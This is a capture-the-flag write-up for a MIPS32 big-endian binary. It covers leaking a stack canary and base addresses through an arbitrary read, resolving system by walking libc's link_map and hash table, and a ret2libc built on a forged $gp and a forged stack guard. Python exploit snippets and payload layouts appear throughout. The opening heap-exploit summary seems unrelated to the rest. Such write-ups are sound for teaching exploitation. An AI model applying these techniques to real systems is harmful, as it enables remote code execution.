  1. grooming 7 chunks of size 0x210 pushed into smallbin[33] by split 0x510 chunks (they don’t pass tcache so tcache entires stay NULL and num_slots[31] stay 7)
  2. edit() the still owned 0x500 pointer that overlaps the newest smallbin chunk and partially (2byte) overwrite its ->bk which holds raw libc pointer -> fake chunk F inside libc
  3. malloc takes smallbin victim and the tcache-stashing loop copies R2..R7 + F into tcache and num_slot hit 0 on F then next malloc returns pointer inside libc
  4. partial orw of _IO_2_1_stdout_ → _IO_write_base → libc leak
  5. HoA2 on stdout → system(“sh;”) with 4 spaces

The Matrix

wake up neo

guess what, this pwn challenge only gave us a hostname and a port and literal movie reference from the matrix, how cool

p.s. the shell is quiet, try ‘ls’ to check if it actually works

this probably means that the end state is a shell, not those “flag” win function

after connecting

ok so it seems like it’s a banner with leaked pointer “residual self image” and 3 option, wth

after testing for hidden options:

b'0'        -> there is no spoon.
b'3' -> ...welcome to the real world. (clean exit)
b'4'..b'9' -> there is no spoon.
b'-1' -> there is no spoon.

let’s test option 1

Hmm, option 1 is an arbitrary read.. It seems to take address and prints eight hex digits, so this is arbitrary 4-byte read and it seems like it’s unlimited uses and doesn’t cost us any session

if we do scan(leak+4) then it seems to give this 10000400 value which is somewhat identical on all connections

if we use bad address (example: 0x1000) then the process just gets killed

Option 2? you send anything and the process just simply gets killed . Send any amounts of bytes? nothing — killed.

Before chasing that, I decided to collect 20 residual self image leaks across 20 connections:

0xd60dc4  0xd39dc4  0x13badc4 0x14d7dc4 0x1460dc4
0x1299dc4 0x1617dc4 0xe58dc4 0x105ddc4 0xa0adc4
0x11bedc4 0xe04dc4 0xba1dc4 0x1264dc4 0x10e4dc4
0x9d6dc4 0x95bdc4 0x107edc4 0x842dc4 0x131edc4

you notice something familiar, right? every single one ends in dc4! the low 12 bits are constant, the rest is randomized. That looks like the signature of a pointer into ASLR mapping, the page offset is fixed by the program’s layout, the page itself moves. Range is roughly 0x8_0000 → 0x162_0000 i.e. 8–23mb centered around 16mb

since inputting data causes death then then length of data should probably matter? let’s try sweeping the entire thing

len 1     EOF 0.096s        len 63     ALIVE >8s
len 2 EOF 0.096s len 64 ALIVE >8s
len 4 EOF 0.096s len 65 ALIVE >8s
len 16 EOF 0.096s len 100 ALIVE >8s
len 31 EOF 0.096s len 128 ALIVE >8s
len 32 EOF 0.096s len 256 ALIVE >8s
len 33 EOF 0.096s len 1024 ALIVE >8s
len 65536 ALIVE >8s

let’s try sweep between 33–66

len 30    EOF 0.096s
len 32 EOF 0.096s
len 34 EOF 0.096s
len 36 EOF 0.096s
len 38 EOF 0.096s
len 40 EOF 0.096s
len 42 EOF 0.096s
len 44 EOF 0.096s
len 46 EOF 0.096s
len 48 ALIVE <-- boundary
len 50 ALIVE
...
len 62 ALIVE

the boundary seems to be between 46–48 bytes (+1 for newline so 47/49 bytes delivered). read that again in the other direction and it snaps into focus:

  • ≤ 47 bytes — the write fits, the function returns normally, and the program exits by design — send is a one-shot, main returns after it. that’s the 0.096 EOF
  • ≥ 48 bytes — you smashed something 48 bytes pat the buffer start. then the program calls __stack_chk_fail → abort() . Under qemu-user a fatal signal doesn’t cleanly close the socket, so that’s why it it looks like a hang

so it’s a 48 byte buffer, followed by a stack canary. And critcally- the program hands me the address of that buffer in the banner. If the canary is at buffer+0x30 then that means scan(leak+0x30 will read the canary

Each scan costs two round trips ( 1\n → address? → <addr>\n → result), about 0.35s. I we want to dump anything meaningful then we need to find a way to do it faster, so I decided to pipeline several requests into one write:

payload = b''.join(b'1\n' + hex(a).encode() + b'\n' for a in addrs)
r.send(payload)
address? 00000000
[1] scan [2] send [3] exit
> there is no spoon.
[1] scan [2] send [3] exit
> there is no spoon.

first scan works but the rest gets eaten and misparsed. so pipelining doesn’t work

I think parallelism would work though.. maybe I’ll use it later

What architecture is this even??

I still had no idea what I was attacking. Time to just inspect the memory. I decided to walk page-aligned addresses around the leak and printed the first word of each page, maybe something useful will appear?

k= +43 0x00f98000 63757272
k= +44 0x00f99000 4c455445
k= +45 0x00f9a000 5f747970
k= +46 0x00f9b000 696e746f

Decode those bytes and you will get:

63 75 72 72  ->  "curr"
4c 45 54 45 -> "LETE"
5f 74 79 70 -> "_typ"
69 6e 74 6f -> "into"

This is readable ascii! On a little-endian target, a word containing curr would print as 72727563 . So the target is probably big-endian

And then from the same sweep:

0x0111f000 1000fe29      b       .-0x75c
0x01120000 8fd90090 lw $t9, 0x90($fp)
0x01121000 afb500c4 sw $s5, 0xc4($sp)
0x01123000 006001f4 ...
0x01124000 8f848164 lw $a0, -0x7e9c($gp)
0x01125000 00001025 move $v0, $zero
0x01127000 04400006 bltz $v0, ...
0x01128000 00832021 addu $a0, $a0, $v1
0x0112a000 03c02025 move $a0, $fp
0x0112b000 2486006c addiu $a2, $a0, 0x6c
0x0112c000 3c1c001b lui $gp, 0x1b
0x0112d000 8e020004 lw $v0, 4($s0)

These look like opcodes from some architecture.. Oh wait, it’s MIPS!!

Earlier, before I understood about the endianness I decided to dump a contiguous run at leak+0xb000 and found this very regular 16-byte structure:

+00b010: 00007b50 0007c4f0 0000002c 1200000b
+00b020: 000040b6 0007a7d0 0000023c 2200000b
+00b030: 000006bb 0018cea8 00000048 1200000b
+00b100: 00004ade 0014d57c 00000170 1200000b
+00b110: 00002031 001df3bc 00000080 11000016

After doing some research, it is an Elf32_Sym array that hs st_name , st_value , st_size , then a word holding st_info / st_other / st_shndx . When I tried making the last word work as little-endian, I got absolutely useless nonsense instead:

LE reading of 0x1200000b :  st_info = 0x0b   (bind 0, type 11 — invalid)
st_shndx = 0x0012

But when I tried big-endian:

BE reading of 0x1200000b :  st_info  = 0x12  = GLOBAL | FUNC     ✔
st_other = 0x00 ✔
st_shndx = 0x000b = .text ✔
BE reading of 0x2200000b : st_info = 0x22 = WEAK | FUNC ✔
BE reading of 0x11000016 : st_info = 0x11 = GLOBAL | OBJECT ✔
st_shndx = 0x0016 = a data section ✔

Every field lands exactly where it should. I’d had the proof twenty minutes before I recognized it

AS of now, we can conclude that the architecture is 32-bit MIPS, big-endian, PIC/PIE, almost certainly under qemu-mips(?). We will confirm that later on.

After that, I decided to dump a lot of addresses around the leak.

leak = 0x17f1dc4

0x017f1d44: 00000000 009afffc 009909e8 017f1f0c 0030ff28 00310430 00b3d3a0 00cd8e30
0x017f1d64: 00000000 00000000 00000000 00000000 00cd0bc8 00cd8e30 009afffc 009909e8
0x017f1d84: 00990be8 00000000 00c86218 0000000a 00c85918 009b8010 00000000 0000000a
0x017f1da4: 00000001 017f1da8 30783137 66316462 340a0000 00000000 00000000 00000000
0x017f1dc4: 00000000 10000400 00000000 00000000 00000000 00000000 00000000 00000000 <-- LEAK
0x017f1de4: 00000000 00000000 00000000 00cd8e30 001d448a 009afffc 00b11bf4 00000000
...
0x017f1f04: 017f1fd9 00000000 017f1fe4 00000000 00000003 00990034 00000004 00000020
0x017f1f24: 00000005 0000000b 00000006 00001000 00000007 002d0000 00000008 00000000
0x017f1f44: 00000009 00990770 0000000b 000003e8 0000000c 000003e8 0000000d 000003e8
0x017f1f64: 0000000e 000003e8 00000010 00000000 00000011 00000064 00000019 017f1fb0
0x017f1f84: 00000017 00000000 0000001f 017f1fed 00000018 017f1fcd 00000000 00000000
0x017f1fa4: 00000000 00000000 00000000 0f1d448a f63aa44f dc07ebc3 5be26b42 00000000
0x017f1fc4: 00000000 00000000 006d6970 73333272 32000000 002f6374 662f6368 616c6c00
0x017f1fe4: 5057443d 2f617070 002f6374 662f6368 616c6c00 00000000 00000000 ????????
DIED at 0x17f2000

I noticed three things that jump out:

First, at 0x017f1da8: 30783137 66316462 340a = 0x17f1db4\n. That’s the
address string I typed a moment earlier, sitting in a buffer. So this is the
stack, and that’s the menu input buffer.

Second, 0x017f1f14 onwards is textbook auxv— key/value pairs:

key      val          meaning
--- ----------- ---------------------------------------------
3 0x00990034 AT_PHDR -> program headers
4 0x00000020 AT_PHENT = 32 (sizeof Elf32_Phdr) ✔ 32-bit
5 0x0000000b AT_PHNUM = 11
6 0x00001000 AT_PAGESZ
7 0x002d0000 AT_BASE -> ld.so base
8 0x00000000 AT_FLAGS
9 0x00990770 AT_ENTRY
0xb 0x000003e8 AT_UID = 1000
0xc 0x000003e8 AT_EUID
0xd/0xe 0x3e8 AT_GID / AT_EGID
0x10 0x00000000 AT_HWCAP
0x11 0x00000064 AT_CLKTCK = 100
0x19 0x017f1fb0 AT_RANDOM -> the 16 random bytes at 0x17f1fb0
0x17 0x00000000 AT_SECURE
0x1f 0x017f1fed AT_EXECFN -> "/ctf/chall"
0x18 0x017f1fcd AT_PLATFORM -> "mips32r2"

AT_PHDR = 0x00990034 and e_phoff for a normal ELF is 0x34, so the
binary’s load base is 0x00990000. AT_BASE = 0x002d0000 is the dynamic
linker. AT_PLATFORM = “mips32r2” confirms the architecture in plain text.

Third, the strings at the top: mips32r2 , /ctf/chall , PWD=/app . The environment is exactly one variable. And the read at 0x17f2000 died, so the stack ends at 0x17f2000.

The last one is quite useful:

stack_top = 0x17f2000
leak = 0x17f1dc4
-----------
difference = 0x23c

leak = stack_top — 0x23c, which is exactly why the low 12 bits are
always 0xdc4. The whole auxv/env block sits at fixed offsets from the leak.
Concretely:

AT_PHDR value  @ leak + 0x154
AT_BASE value @ leak + 0x174
AT_ENTRY value @ leak + 0x184

NOTE: I burned real time testing whether leak-relative offsets
were stable in general. They weren’t — leak+0x6000 gave different data every connection, and absolute addresses like 0x00404000 were inconsistent too. I briefly concluded “everything is randomised independently, the leak is useless as an anchor.”

That conclusion was half right and it made me pessimistic for no reason. The truth is narrower and much more useful: the leak is a stack pointer, so
stack-relative offsets are rock solid, while offsets to *other mapping
(libc, ld.so, heap) are not — those get their own independent randomisation. Once I understood the leak was on the stack, the auxv gave me everything else anyway

On that connection, the base is 0x00990000. So maybe dumping it’s own memory would work? Let’s read the first 13 words:

0x00: 7f454c46   \x7fELF
0x04: 01020100 EI_CLASS=1 (32-bit), EI_DATA=2 (MSB/big-endian), version 1
0x10: 00030008 e_type=3 (ET_DYN -> PIE), e_machine=8 (EM_MIPS)
0x14: 00000001 e_version
0x18: 00000770 e_entry = 0x770
0x1c: 00000034 e_phoff = 0x34
0x20: 00010218 e_shoff = 0x10218
0x24: 70001007 e_flags
0x28: 00340020 e_ehsize=0x34, e_phentsize=0x20
0x2c: 000b0028 e_phnum=11, e_shentsize=0x28
0x30: 001e001d e_shnum=30, e_shstrndx=29

ET_DYN + EM_MIP + EI_DATA=2 , cool.

File size is e_shoff + e_shnum*e_shentsize = 0x10218 + 30*0x28 = 0x106C8 = 67272 bytes. (When I finally got a shell, ls -la /ctf showed chall at
exactly 67272 bytes. Quite nice, I guess.)

But I don’t need the file — I need the mapped parts. Program headers show:

PT_PHDR            off=0x000034 va=0x000034 fsz=0x000160  R
PT_INTERP off=0x000194 va=0x000194 fsz=0x00000d R -> "/lib/ld.so.1"
PT_MIPS_ABIFLAGS off=0x0001c8 va=0x0001c8 fsz=0x000018 R
PT_MIPS_REGINFO off=0x0001e0 va=0x0001e0 fsz=0x000018 R
PT_LOAD off=0x000000 va=0x000000 fsz=0x000f04 R-X <-- all the code
PT_LOAD off=0x00fff8 va=0x01fff8 fsz=0x000098 msz=0x0000a8 RW-
PT_DYNAMIC off=0x0001f8 va=0x0001f8 fsz=0x000128 R
PT_NOTE off=0x0001a4 va=0x0001a4 fsz=0x000020 R
PT_GNU_STACK fsz=0 RW- <-- NX stack
PT_GNU_RELRO off=0x00fff8 va=0x01fff8 fsz=0x000008 R

The executable segment is 0xf04 = 3844 bytes. That’s it. The whole program is under 4 KB of code and rodata; the other 63 KB of the file is symbols and section headers that never get mapped

class Worker:
def connect(self):
self.sess = Sess()
ph = self.sess.rd(self.sess.leak + 0x154)
if ph and (ph & 0xfff) == 0x34:
self.base = ph - 0x34
return True
def read_off(self, off):
for _ in range(3):
if self.sess.dead: self.connect()
v = self.sess.rd(self.base + off)
if v is not None: return v

Let’s try parallelization on these leaks and read leak+0x154 to compute its own PIE base per worker, code snippet above. ^^

missing 0: []
text 3844 bytes, data 176 bytes

Now I have the entire binary from all those dumps!

$ strings -n 4 text.bin
/lib/ld.so.1
printf alarm __cxa_finalize __libc_start_main __stack_chk_fail
setvbuf read atoi puts strtoul
stdin stderr stdout __stack_chk_guard
libc.so.6 ld.so.1
GLIBC_2.4 GLIBC_2.0 GLIBC_2.34 GLIBC_2.2
Wake up, Neo...
The Matrix has you.
residual self image: %p
Follow the white rabbit.
[1] scan [2] send [3] exit
address?
%08x
data?
...welcome to the real world.
there is no spoon.

__stack_chk_fail and __stack_chk_guard in the import list — the canary theory earlier got confirmed in writing. GLIBC_2.34 tells me the libc is at least 2.34. And residual self image: %p means the leak is a plain %p of some pointer

Capstone, MIPS32, big-endian, skipdata=True because the file starts with the
ELF header rather than code:

md = Cs(CS_ARCH_MIPS, CS_MODE_MIPS32 | CS_MODE_BIG_ENDIAN)
md.skipdata = True

_start at 0x770 sets up $gp the standard PIC way:

0770 03e00025 move $zero, $ra
0774 04110001 bal 0x77c
077c 3c1c0002 lui $gp, 2
0780 279c7894 addiu $gp, $gp, 0x7894
0784 039fe021 addu $gp, $gp, $ra ; $ra == 0x77c here

$gp = 0x20000 + 0x7894 + 0x77c = 0x28010, so $gp = base + 0x28010. That
matches DT_PLTGOT (0x20020) + 0x7ff0, the MIPS convention. Every
lw $x, -0x7fXX($gp) in the binary is a GOT slot, and now I can name them:

$gp — 0x7ff0 = base+0x20020 GOT[0] / DT_PLTGOT
$gp — 0x7fd8 = base+0x20038 module base (used to form string addresses)
$gp — 0x7fc4 = base+0x2004c atoi
$gp — 0x7fc0 = base+0x20050 stdin
$gp — 0x7fbc = base+0x20054 setvbuf
$gp — 0x7fb8 = base+0x20058 stdout
$gp — 0x7fb4 = base+0x2005c strtoul ← remember this one
$gp — 0x7fac = base+0x20064 puts
$gp — 0x7fa8 = base+0x20068 __stack_chk_fail
$gp — 0x7fa4 = base+0x2006c alarm
$gp — 0x7fa0 = base+0x20070 &__stack_chk_guard ← and this one
$gp — 0x7f9c = base+0x20074 stderr
$gp — 0x7f98 = base+0x20078 printf
$gp — 0x7f90 = base+0x20080 read
$gp — 0x7f8c = base+0x20084 __libc_start_main

main is at 0x9e8:


09e8 3c1c0002 lui $gp, 2 ; $gp = 0x27628 + $t9
09ec 279c7628 addiu $gp, $gp, 0x7628
09f0 0399e021 addu $gp, $gp, $t9
09f4 27bdff88 addiu $sp, $sp, -0x78 ; 0x78-byte frame
09f8 afbf0074 sw $ra, 0x74($sp)
09fc afbe0070 sw $fp, 0x70($sp)
0a00 03a0f025 move $fp, $sp
0a04 afbc0010 sw $gp, 0x10($sp) ; PIC: $gp cached in the frame
0a08 8f828060 lw $v0, -0x7fa0($gp) ; &__stack_chk_guard
0a0c 8c420000 lw $v0, ($v0)
0a10 afc2006c sw $v0, 0x6c($fp) ; canary -> $fp+0x6c
0a20 0411ffaf bal 0x8e0 ; setup(): setvbuf x3, alarm(0x258)
0a2c … puts(base+0xe20) ; “Wake up, Neo…”
0a48 27c2003c addiu $v0, $fp, 0x3c ; <<<< THE LEAK
0a4c 00402825 move $a1, $v0
0a54 24440e44 addiu $a0, $v0, 0xe44 ; “residual self image: %p”
0a60 0320f809 jalr $t9 ; printf(fmt, $fp+0x3c)

leak == $fp + 0x3c. The “residual self image” is a local buffer in main.
alarm(0x258) = a 600-second session limit, which matters if you’re doing long scans.

The menu loop reads 23 bytes into $fp+0x24 and atois it. Option 1 (scan):

0bc8 27c20024 addiu $v0, $fp, 0x24
0bcc 00003025 move $a2, $zero
0bd0 00002825 move $a1, $zero
0bd4 00402025 move $a0, $v0 ; $a0 = $fp + 0x24
0bd8 8f82804c lw $v0, -0x7fb4($gp) ; strtoul
0bdc 0040c825 move $t9, $v0
0be0 0320f809 jalr $t9 ; strtoul(buf, 0, 0)
0bec afc20020 sw $v0, 0x20($fp)
0bf4 8c420000 lw $v0, ($v0) ; *** the arbitrary read ***
0c00 24440eb0 addiu $a0, $v0, 0xeb0 ; “%08x”
0c0c 0320f809 jalr $t9 ; printf(“%08x”, value)

Note 0bc8. Hold that thought — it becomes the most important instruction in the whole exploit.

Option 2 (send), the bug:

0c4c 8f828028 lw $v0, -0x7fd8($gp)
0c50 24440eb8 addiu $a0, $v0, 0xeb8 ; “data? “
0c58 … printf
0c68 27c2003c addiu $v0, $fp, 0x3c ; buf = $fp + 0x3c (the leaked ptr)
0c6c 2406003c addiu $a2, $zero, 0x3c ; count = 0x3c = 60
0c70 00402825 move $a1, $v0
0c74 00002025 move $a0, $zero ; fd = 0
0c78 8f828070 lw $v0, -0x7f90($gp) ; read
0c80 0320f809 jalr $t9 ; read(0, $fp+0x3c, 0x3c)
0c88 8fdc0010 lw $gp, 0x10($fp) ; PIC: restore $gp from the frame
0c8c 10000017 b 0xcec ; -> straight to the epilogu

And the epilogue:

0cec 00001025 move $v0, $zero
0cf0 00402025 move $a0, $v0
0cf4 8f828060 lw $v0, -0x7fa0($gp) ; &__stack_chk_guard
0cf8 8fc3006c lw $v1, 0x6c($fp) ; our canary slot
0cfc 8c420000 lw $v0, ($v0) ; the real guard value
0d00 10620005 beq $v1, $v0, 0xd18 ; match? -> return
0d08 … __stack_chk_fail
0d18 00801025 move $v0, $a0
0d1c 03c0e825 move $sp, $fp
0d20 8fbf0074 lw $ra, 0x74($sp)
0d24 8fbe0070 lw $fp, 0x70($sp)
0d28 27bd0078 addiu $sp, $sp, 0x78
0d2c 03e00008 jr $ra

The frame, fully mapped

Everything relative to leak (=$fp + 0x3c):

 addr size what
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
leak — 0x3c $sp / $fp of main
leak — 0x2c 4 saved $gp ($fp+0x10)
leak — 0x24 4 read() return value ($fp+0x18)
leak — 0x20 4 menu choice ($fp+0x1c)
leak — 0x1c 4 strtoul result ($fp+0x20)
leak — 0x18 23 menu input buffer ($fp+0x24)
leak + 0x00 48 “residual self image” buffer ($fp+0x3c) ← read() writes 60 here
leak + 0x30 4 stack canary ($fp+0x6c)
leak + 0x34 4 saved $fp ($fp+0x70)
leak + 0x38 4 saved $ra ($fp+0x74)
leak + 0x3c end of frame; $sp after main returns
…
leak + 0x154 4 AT_PHDR
leak + 0x23c top of stack

read(0, buf, 0x3c) into a 48-byte buffer overflows by exactly 12 bytes:
canary, saved $fp, saved $ra. Nothing more, nothing less. And the canary is at leak + 0x30, which I can just read

The 46/48 boundary from earlier falls out exactly: byte 48 is the first byte of the canary

—-

Smallest possible test — leak the canary, put it back, and point $ra at
main+0x9f4 (after the $gp setup, since $gp is already correct on return):

canary = scan(leak + 0x30)
phdr = scan(leak + 0x154)
base = phdr — 0x34
payload = b'A' * 0x30
payload += p32(canary) # canary
payload += p32(leak - 0x3c) # saved $fp
payload += p32(base + 0x9f4) # saved $ra

leak = 0x9a8dc4 ($fp+0x3c)
canary = 002db3ce
base = 0xa00000
=== output after overflow ===
Wake up, Neo…
The Matrix has you.
residual self image: 0x9a8dc4
Follow the white rabbit.
[1] scan [2] send [3] exit
>

The banner printed a second time. Canary successfully bypassed,$ra under control. Same leak address, because I reused the same frame. 😂

That’s the halfway point. Now I need somewhere useful to return to.

— -

## 14. Finding libc without a filesystem

I need system.system is not imported by the binary, so I need libc’s base and then libc’s symbol table.

I could have scanned downwards from a GOT entry looking for \x7fELF, but that’s
hundreds of reads and any overshoot kills the session. Much better: the binary’s own .dynamic (already in my dump at va 0x1f8) has the debug rendezvous pointer. Let’s parse it offline:


DT_NEEDED 0xaf -> “libc.so.6”
DT_NEEDED 0xb9 -> “ld.so.1”
DT_INIT 0x728
DT_FINI 0xde0
DT_INIT_ARRAY 0x1fff8
DT_FINI_ARRAY 0x1fffc
DT_HASH 0x320
DT_STRTAB 0x538
DT_SYMTAB 0x3c8
DT_STRSZ 0x12f
DT_SYMENT 0x10
DT_MIPS_RLD_MAP_REL 0x1fdb0 <<<<
DT_DEBUG 0x0
DT_PLTGOT 0x20020
DT_MIPS_LOCAL_GOTNO 0xa
DT_MIPS_SYMTABNO 0x17
DT_MIPS_GOTSYM 0x6

DT_MIPS_RLD_MAP_REL is MIPS-specific: the address of the r_debug pointer is
the address of that dynamic entry’s d_un field plus the value. It’s the 14th
entry (index 13), so:

entry_addr = 0x1f8 + 13*8 = 0x260
rld_map = 0x260 + 0x1fdb0 = 0x20010

Then it’s the standard walk:

rdbg = scan(base + 0x20010) # -> struct r_debug *
lm = scan(rdbg + 4) # r_debug.r_map -> struct link_map *
while lm:
l_addr = scan(lm) # load bias
l_name = scan(lm + 4) # char *
lm = scan(lm + 12) # l_next
binary base 0xce0000
r_debug 0x320a90
r_version 0x1
link_map 0x7d6000
l_addr=0x00ce0000 l_ld=0x00ce01f8 name=b’’
l_addr=0x009b0000 l_ld=0x009b0208 name=b’/lib/libc.so.6'
l_addr=0x002e0000 l_ld=0x002e0188 name=b’/lib/ld.so.1'

libc base in about six reads, with its path spelled out. /lib/libc.so.6
rather than /lib/mips-linux-gnu/… — not a Debian multiarch layout, so this is a hand-built or buildroot-ish rootfs. Which also means “just download the matching libc” was never going to work, and I’d have to resolve symbols live

libc’s own .dynamic (read from memory at libc+0x208):


DT_HASH 0x00000318
DT_STRTAB 0x00011794
DT_SYMTAB 0x00004734
DT_STRSZ 0x00008fc5
DT_SYMENT 0x00000010
DT_PLTGOT 0x001e0e40
DT_MIPS_SYMTABNO 0x00000d06 (3334 symbols)
DT_VERSYM/VERDEF/VERNEED

and its program headers:

ph4 PT_LOAD off=0x000000 va=0x000000 fsz=0x1c0e04 R-X (1.8 MB of code)
ph5 PT_LOAD off=0x1cd23c va=0x1dd23c fsz=0x00581c RW-

1.8 MB of executable libc. Dumping that at 4 bytes a read is ~460,000 reads — completely out of the question. Whatever I do, it has to work **without ROP gadgets from libc. That constraint drove the rest of the solve.

No DT_GNU_HASH, but DT_HAS is there, so a classic SysV hash lookup works.

— -


def elf_hash(name):
h = 0
for c in name:
h = ((h << 4) + c) & 0xffffffff
g = h & 0xf0000000
if g: h ^= g >> 24
h &= ~g & 0xffffffff
return h
nbucket = rd(hash + 0) # 1023
nchain = rd(hash + 4)
idx = rd(hash + 8 + 4*(elf_hash(b'system') % nbucket))
hash 0x7b0aabd bucket 866 -> idx 2592

And then the process died. Every time. On the very first read of the symbol name

I chased this for a while assuming the address was unmapped, but the address was strtab + 0x7347 = 0x188adb — comfortably inside libc’s R-X segment. Then I looked at the last digit:

0x188adb
^ not 4-byte aligned

scan performs a MIPSlw, and MIPS traps on unaligned word loads. It wasn’t a segfault from a bad address, it was a SIGBUS from a misaligned one. Every “unmapped” conclusion I’d drawn from a dead session was suspect from that moment on.

The fix is trivial once you see it — read aligned words and slice:

def rbytes(addr, n):
start = addr & ~3
end = (addr + n + 3) & ~3
buf = b’’.join(struct.pack(‘>I’, rd(a)) for a in range(start, end, 4))
return buf[addr — start : addr — start + n]

With that, the hash chain walks cleanly:


idx=2592 b’setreui’ (setreuid — hash collision)
idx=1866 b’__isoc9' (__isoc99_… — another collision)
idx=1710 b’system’
*** system = libc+0x4eac8
first insns: 3c1c001a 279ca368 0399e021 27bdffe0 afbc0010 afbf001c

Sanity check on those instructions:

3c1c001a lui $gp, 0x1a
279ca368 addiu $gp, $gp, -0x5c98
0399e021 addu $gp, $gp, $t9 ← computes its own $gp FROM $t9
27bdffe0 addiu $sp, $sp, -0x20
afbc0010 sw $gp, 0x10($sp)
afbf001c sw $ra, 0x1c($sp)

A real PIC function prologue. $t9 must equal the function’s own address when you call it, or its $gp comes out wrong and it crashes. That’s a MIPS-specific calling-convention requirement and it becomes free later, because the gadget I end up using does move $t9, $v0; jalr $t9.

system = libc + 0x4eac8

— -

MIPS ret2libc with no gadgets

Take stock. At the moment main doesjr $ra I control:


$ra = anything I want
$fp = anything I want
$sp = leak + 0x3c (fixed: $fp_main + 0x78)
$gp = correct (main’s epilogue never touches it)
$a0 = 0 (set by `move $a0, $v0` with $v0 = 0)
48 bytes of arbitrary data at a known address (leak .. leak+0x2f)

and I want system(“/bin/sh”), which on MIPS o32 means $a0 = pointer to the string and $t9/PC = system

Problems, in order of annoyance 💀

  1. $a0 is 0. Returning straight to system calls system(NULL), which in glibc runs /bin/sh -c “exit 0” — useless
  2. No ROP gadgets. The binary is 3844 bytes; libc is 1.8 MB and unsearchable at 4 bytes per read
  3. NX stack (PT_GNU_STACK is RW), so no shellcode
  4. system isn’t in the GOT, and there’s no /bin/sh string in the binary.

### The gadget that saves everything

Back to 0xbc, the scan branch’s call to strtoul:

0bc8 27c20024 addiu $v0, $fp, 0x24
0bcc 00003025 move $a2, $zero
0bd0 00002825 move $a1, $zero
0bd4 00402025 move $a0, $v0 ; $a0 = $fp + 0x24 ← I control $fp
0bd8 8f82804c lw $v0, -0x7fb4($gp) ; $t9 = M[$gp — 0x7fb4] ← I control $gp?
0bdc 0040c825 move $t9, $v0
0be0 0320f809 jalr $t9

This is “call some function with $a0 = $fp + 0x24”. $f is mine, so $a0 is solved. The remaining question is $t9, which comes from a $gp-relative load.

The obvious move is to overwrite GOT[strtoul] with system. I went down that road and it’s a dead end

The better move is the one that makes this challenge fun:

Don’t change what’s at GOT[strtoul]. Change where $gp points

-0x7fb4($gp) is just a memory read. If I can make$gp be a valueX of my choosing, then the “GOT slot” it reads is X — 0x7fb4, and I can point that at
my own 48-byte buffer, which already contains whatever I want — including the address of system.

Where does$gp come from?

This is PIC code, so after every call $gp is reloaded from the frame:

0c88 8fdc0010 lw $gp, 0x10($fp)

$gp := M[$fp + 0x10], and $fp is mine. So I control $gp completely, for free, as a side effect of the compiler’s own PIC boilerplate. That instruction appears all over the function; 0xc88 (right after send’s read) is the one I use.

### But the canary check also uses $gp

0cf4 lw $v0, -0x7fa0($gp) ; &__stack_chk_guard
0cf8 lw $v1, 0x6c($fp) ; my canary slot
0cfc lw $v0, ($v0) ; the guard value
0d00 beq $v1, $v0, 0xd18

With a fake $gp this reads garbage and the check fails → __stack_chk_fail → dead. But look at the shape of it: it’s a double dereference of $gp — 0x7fa0compared against a word I control at $fp + 0x6c. Both sides are mine:

  • put a pointer q at X — 0x7fa0
  • put the canary value at q
  • put the canary value at $fp + 0x6c

and the check passes with a completely fake $gp. I’m forging a
__stack_chk_guard out of my own buffer.

So the layout constraint is: pick X so that X — 0x7fb4 and X-0x7fa0 both land in memory I control. Those are 0x14 apart. If system’s address sits at
leak + 0x00, then:

X = leak + 0x7fb4
X — 0x7fb4 = leak + 0x00 -> &system
X — 0x7fa0 = leak + 0x14 -> pointer to the fake guard value

Both inside the 48-byte buffer. No GOT write, no libc gadget, no shellcode.

Dead end: GOT overwrite

For the record, because I spent real time here. The plan was: return to 0xc68 (the read insend) with $fp = GOT_window — 0x3c, giving read(0, GOT, 60) — an arbitrary write straight into the GOT — then set GOT[strtoul] = system and walk back into the menu.

It dies on two things:

  1. 0xc88 does lw $gp, 0x10($fp, and with $fp = W — 0x3c that’s M[W — 0x2c] — a word in the RW segment I don’t control. $gp becomes garbage right after the write, and every subsequent instruction in the binary is $gp-relative.
  2. The epilogue then sets $sp = $fp = W — 0x3c, i.e. $sp inside the RW segment. Any function call from that point builds its frame on top of the GOT I just carefully wrote

You can almost rescue it (precompute the canary value for whatever garbage $gp turns out to be, then hop through 0xc88 with a stack $fp to restore$gp and$sp), and I sketched a four-round chain that does exactly that. But the fake-$gp trick makes all of it unnecessary — it gets the same effect with zero writes outside the stack. I dropped the GOT plan

Another Dead end: dumping libc for gadgets

Briefly considered dumping 128–256 KB of libc text and running a gadget search for something like addiu $a0, $sp, N ; lw $t9, M($sp) ; jalr $t9. At ~120 reads/sec with 40 workers that’s 5–10 minutes of hammering the box, and it needs libc’s base per connection (which I had). Viable, but rude and unnecessary once the fake-$gp idea landed. Never ran it.

— -

Chaining reads, and the 0x20-byte discovery

One send gives 60 bytes, of which 12 are canary/$fp/$ra — so 48 usable
bytes, and then main returns and the process exits. I need more than one write
to stage this, so: return to 0xc68, the read call inside send, and get
another 60 bytes with fresh $ra/$fp control. Repeat as needed.

First attempt, keeping the same frame ($fp = leak — 0x3c, so the write lands at leak again):

r1 sent -> alive, blocked in read() ✔
r2 sent -> nothing. dead. ✘

Round 1 works — the jump to 0xc68 is fine and the process sits waiting in
read(). Round 2 dies.

Why: after main’s epilogue, $sp = leak + 0x3c — which is above the buffer at leak. When read() is then called, its own stack frame is carved out below $sp, i.e. directly on top of the destination buffer. read saves
registers there, the kernel then writes my 60 bytes over them, and read’s
epilogue restores garbage. Instant death

So the write destination has to be at or above $sp, and the $gp reload slot
($fp + 0x10) has to survive read’s frame. I measured the frame size directly by sweeping $fp for round 2 and seeing which ones survived — success being “the banner prints again”:

$fp2 $gp slot distance below $sp dest result
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
leak + 0x00 leak + 0x10 0x2c leak + 0x3c BANNER (image 0x14fae00)
leak + 0x04 leak + 0x14 0x28 leak + 0x40 BANNER (image 0x1504e04)
leak + 0x08 leak + 0x18 0x24 leak + 0x44 BANNER (image 0x17e6e08)
leak + 0x0c leak + 0x1c 0x20 leak + 0x48 fail
leak — 0x04 leak + 0x0c 0x30 leak + 0x38 fail (dest below $sp)
leak — 0x08 leak + 0x08 0x34 leak + 0x34 fail (dest below $sp)

The pattern is exact: read() writes precisely [$sp — 0x20, $sp). Anything
0x24 or more below $sp survives; 0x20 below is destroyed. And the
destination must be >= $sp

The “image” values are a nice confirmation that I understood the frame maths — with $fp2 = leak, the re-entered main reports its buffer at leak + 0x3c, exactly as predicted; with a three-round chain it reported leak + 0x78

That gives a clean chaining rule:

round r: $fp_r = $sp_r — 0x3c (so dest == $sp exactly)
dest = $fp_r + 0x3c
